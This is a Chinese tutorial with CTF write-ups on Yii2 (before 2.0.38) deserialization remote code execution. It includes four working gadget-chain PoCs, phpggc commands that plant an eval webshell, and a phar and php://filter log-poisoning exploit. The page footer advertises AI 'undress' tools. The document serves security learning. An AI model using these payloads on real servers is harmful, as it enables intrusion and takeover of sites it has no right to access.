搜尋
首頁php框架YII精選幾道CTF練習,帶你學習yii2框架!

本篇文章带大家了解yii2框架,分享几道CTF习题,通过它们来学习yii2框架,希望对大家有所帮助。

精選幾道CTF練習,帶你學習yii2框架!

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架

Yii2<2.0.38反序列化

安装:在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本

然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php

<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($name){
        return unserialize($name);
    }
}

就可以进行测试了

?r=test/test&name=

链一

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

跟进$this->reset();

public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }

这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$methodclose$attributes为空,继续跟进format

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

跟进getFormatter

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }

似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空

到这里可以执行phpinfo

<?php
namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace {
    $a = new Faker\Generator(array(&#39;close&#39;=>&#39;phpinfo&#39;));
    $b = new yii\db\BatchQueryResult($a);
    print(urlencode(serialize($b)));
}

但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
}

这里的$this->checkAccess$this->id都是我们可控的

所以直接构造就行了

<?php
namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new Faker\Generator(array(&#39;close&#39;=>array($c, &#39;run&#39;)));
    $a = new yii\db\BatchQueryResult($b);
    print(urlencode(serialize($a)));
}

精選幾道CTF練習,帶你學習yii2框架!

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

class DbSession extends MultiFieldSession
{
...
public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)

这里直接构造即可

<?php
namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace yii\web{
    class DbSession{
        public $writeCallback;
        public function __construct($writeCallback) {
            $this->writeCallback = $writeCallback;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new yii\web\DbSession(array($c, &#39;run&#39;));
    $a = new yii\db\BatchQueryResult($b);
    print(urlencode(serialize($a)));
}

链三

我们可以在yii2 2.0.38commit看到他加了一个__wakeup

精選幾道CTF練習,帶你學習yii2框架!

这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

public function __destruct()
    {
        $this->stopProcess();
    }

这里继续跟进stopProcess

public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }

这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了

<?php
namespace Codeception\Extension{
    class RunProcess{
        private $processes = [];
        public function __construct($processes) {
            $this->processes[] = $processes;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new Faker\Generator(array(&#39;isRunning&#39;=>array($c, &#39;run&#39;)));
    $a = new Codeception\Extension\RunProcess($b);
    print(urlencode(serialize($a)));
}

链四

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

这里$nsKey可控,跟进clearAll

public function clearAll($nsKey)
    {
        if (array_key_exists($nsKey, $this->keys)) {
            foreach ($this->keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->path.&#39;/&#39;.$nsKey)) {
                rmdir($this->path.&#39;/&#39;.$nsKey);
            }
            unset($this->keys[$nsKey]);
        }
    }

这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString

随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

public function __toString()
{
    return $this->__dom__->saveXML();
}

同样用他去触发__call

<?php
namespace {
    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys = [];
        public function __construct($path,$keys) {
            $this->path = $path;
            $this->keys = $keys;
        }
    }
}
namespace Codeception\Util{
    class XmlBuilder{
        protected $__dom__;
        public function __construct($__dom__) {
            $this->__dom__ = $__dom__;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new Faker\Generator(array(&#39;saveXML&#39;=>array($c,&#39;run&#39;)));
    $a = new Codeception\Util\XmlBuilder($b);
    $d = new Swift_KeyCache_DiskKeyCache($a,array(&#39;kawhi&#39;=>&#39;kawhi&#39;));
    print(urlencode(serialize($d)));
}

精選幾道CTF練習,帶你學習yii2框架!

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

精選幾道CTF練習,帶你學習yii2框架!

可以使用如下命令快速得到链,-uurl编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

./phpggc Yii2/RCE2 &#39;file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));&#39; -b

CTF题目

[HMBCTF 2021]framework

把题目附件解压,看到html\controllers\SiteController.php

class SiteController extends Controller
{
    public function actionAbout($message = &#39;Hello&#39;)
    {
        $data = base64_decode($message);
        unserialize($data);
    }

这里可以这样传参

?r=site/about&message=

拿链一打了一下,发现一下system等函数被ban

精選幾道CTF練習,帶你學習yii2框架!

这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/moddisable,运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容,或许对你有用!!

        &#39;log&#39; => [
            &#39;traceLevel&#39; => YII_DEBUG ? 0 : 0,
            &#39;targets&#39; => [
                [
                    &#39;class&#39; => &#39;yii\log\FileTarget&#39;,
                    &#39;levels&#39; => [&#39;error&#39;],
                    &#39;logVars&#39; => [],
                ],
            ],
        ],

看到附件的SiteController.php就改了这个地方

public function actionIndex()
    {
        $file = Yii::$app->request->get(&#39;file&#39;);
        $res = file_get_contents($file);
        file_put_contents($file,$res);
        return $this->render(&#39;index&#39;);
    }

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": {
        "php": ">=5.6.0",
        "yiisoft/yii2": "~2.0.14",
        "yiisoft/yii2-bootstrap": "~2.0.0",
        "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
    "monolog/monolog":"1.19"
    },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d&#39;phar.readonly=0&#39; ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(&#39;&#39;.join([&#39;=&#39; + hex(ord(i))[2:].zfill(2) + &#39;=00&#39; for i in sys.stdin.read()]).upper())"

写入日志,注意最后面要加个字符a

/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a

保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt

精選幾道CTF練習,帶你學習yii2框架!

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d&#39;phar.readonly=0&#39; ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(&#39;&#39;.join([&#39;=&#39; + hex(ord(i))[2:].zfill(2) + &#39;=00&#39; for i in sys.stdin.read()]).upper())"

本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

相关文章教程推荐:《yii框架教程

以上是精選幾道CTF練習,帶你學習yii2框架!的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:掘金社区。如有侵權,請聯絡admin@php.cn刪除
Yii的繼續使用:檢查其當前狀態Yii的繼續使用:檢查其當前狀態Apr 17, 2025 am 12:09 AM

Yii在現代開發中依然具有競爭力。 1)高性能:採用延遲加載和緩存機制。 2)安全性:內置CSRF和SQL注入防護。 3)擴展性:組件化設計便於擴展和自定義。

YII的社區:支持和資源YII的社區:支持和資源Apr 16, 2025 am 12:04 AM

Yii社區提供了豐富的支持和資源。 1.訪問官方網站和GitHub獲取文檔和代碼。 2.利用官方論壇和StackOverflow解決技術問題。 3.通過GitHubIssues報告bug和提出建議。 4.使用文檔和教程學習Yii框架。

YII:網絡開發的強大框架YII:網絡開發的強大框架Apr 15, 2025 am 12:09 AM

Yii是一個高性能的PHP框架,專為快速開發和高效的代碼生成設計。其核心特性包括:MVC架構:Yii採用MVC架構,幫助開發者將應用邏輯分離,使代碼更易維護和擴展。組件化和代碼生成:通過組件化和代碼生成,Yii減少開發者的重複工作,提高開發效率。性能優化:Yii使用延遲加載和緩存技術,確保高負載下的高效運行,並提供強大的ORM功能簡化數據庫操作。

YII:快速開發框架YII:快速開發框架Apr 14, 2025 am 12:09 AM

Yii是一個基於PHP的高性能框架,適用於快速開發Web應用。 1)它採用MVC架構和組件化設計,簡化開發過程。 2)Yii提供了豐富的功能,如ActiveRecord、RESTfulAPI等,支持高並發和擴展。 3)使用Gii工具可以快速生成CRUD代碼,提高開發效率。 4)調試時,可檢查配置文件、使用調試工具和查看日誌。 5)性能優化建議包括使用緩存、優化數據庫查詢和保持代碼可讀性。

YII的當前狀態:查看其受歡迎程度YII的當前狀態:查看其受歡迎程度Apr 13, 2025 am 12:19 AM

yiiremainspularbutislessfavoredthanlaravel,withabout14kgithubstars.itexcelsinperformanceandactiverecord,buthasasteperlearningcurveandasmallerecosystem.it'sidealfordealfordealfordEvelforkerfordEvelforkerplovelfordEvelforkerporporporporporporporporizatized efferporization effervastecoseposevastecosystecystemystem。

yii:解釋的關鍵特徵和優勢yii:解釋的關鍵特徵和優勢Apr 12, 2025 am 12:15 AM

Yii是一個高性能的PHP框架,其獨特之處在於組件化架構、強大的ORM和出色的安全性。 1.組件化架構讓開發者能靈活拼裝功能。 2.強大的ORM簡化了數據操作。 3.內置多種安全功能,確保應用安全。

Yii的架構:MVC等Yii的架構:MVC等Apr 11, 2025 pm 02:41 PM

Yii框架採用MVC架構,並通過組件、模塊等增強其靈活性和擴展性。 1)MVC模式將應用邏輯分為模型、視圖和控制器。 2)Yii的MVC實現通過動作細化請求處理。 3)Yii支持模塊化開發,提升代碼組織和管理。 4)使用緩存和數據庫查詢優化可提升性能。

YII 2.0深水潛水:性能調整與優化YII 2.0深水潛水:性能調整與優化Apr 10, 2025 am 09:43 AM

提升Yii2.0应用性能的策略包括:1.数据库查询优化,使用QueryBuilder和ActiveRecord选择特定字段和限制结果集;2.缓存策略,合理使用数据、查询和页面缓存;3.代码级优化,减少对象创建和使用高效算法。通过这些方法,可以显著提升Yii2.0应用的性能。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
1 個月前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
1 個月前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
1 個月前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.聊天命令以及如何使用它們
1 個月前By尊渡假赌尊渡假赌尊渡假赌

熱工具

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

WebStorm Mac版

WebStorm Mac版

好用的JavaScript開發工具